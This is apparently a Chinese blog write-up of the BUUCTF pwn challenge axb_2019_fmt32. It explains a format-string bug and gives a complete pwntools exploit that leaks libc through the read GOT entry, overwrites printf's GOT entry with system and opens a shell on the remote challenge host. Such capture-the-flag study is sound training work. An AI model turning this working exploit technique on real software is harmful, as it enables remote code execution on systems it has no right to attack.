axb_2019_fmt32

check:
file
32位,开了NX

main:
file

贴一下sprintf

#发送格式化输出到 str 所指向的字符串。
int sprintf(char *str, const char *format, ...)
str -- 这是指向一个字符数组的指针,该数组存储了 C 字符
format -- 这是字符串,包含了要被写入到字符串 str 的文本。

这里就是,输入的字符格式化输出到 &format 再到下面的格式化字符串漏洞

思路:直接利用
偏移是8
file

exp:

from pwn import *
from LibcSearcher import LibcSearcher

#p=process('./axb')
p=remote('node4.buuoj.cn',25073)
elf=ELF('./axb')
context.log_level='debug'

strlen=elf.got['strlen']
printf=elf.got['printf']
read=elf.got['read']

print(hex(read))
p.sendafter('me:','%9$sa'+p32(read))
p.recvuntil('Repeater:')
read_addr=u32(p.recv(4))
print('read',hex(read_addr))
#gdb.attach(p)
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
print('libc_base',hex(libc_base))
system=libc_base+libc.dump('system')
payload='x'+fmtstr_payload(8,{printf:system},numbwritten=10)
p.sendafter('me:',payload)
p.sendline(';/bin/sh\x00')
p.interactive()

file
给我整的心烦了,明明挺简单一题,搞得自己崴自己,我用patchelf改了libc,后面就是这个原因老出问题。我尝试了改掉函数的got 为 one_gadget,结果失败了,read,printf,strlen都没整成,反正就很崴自己。

也算是复习一下 fmtstr_payload 的用法。

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据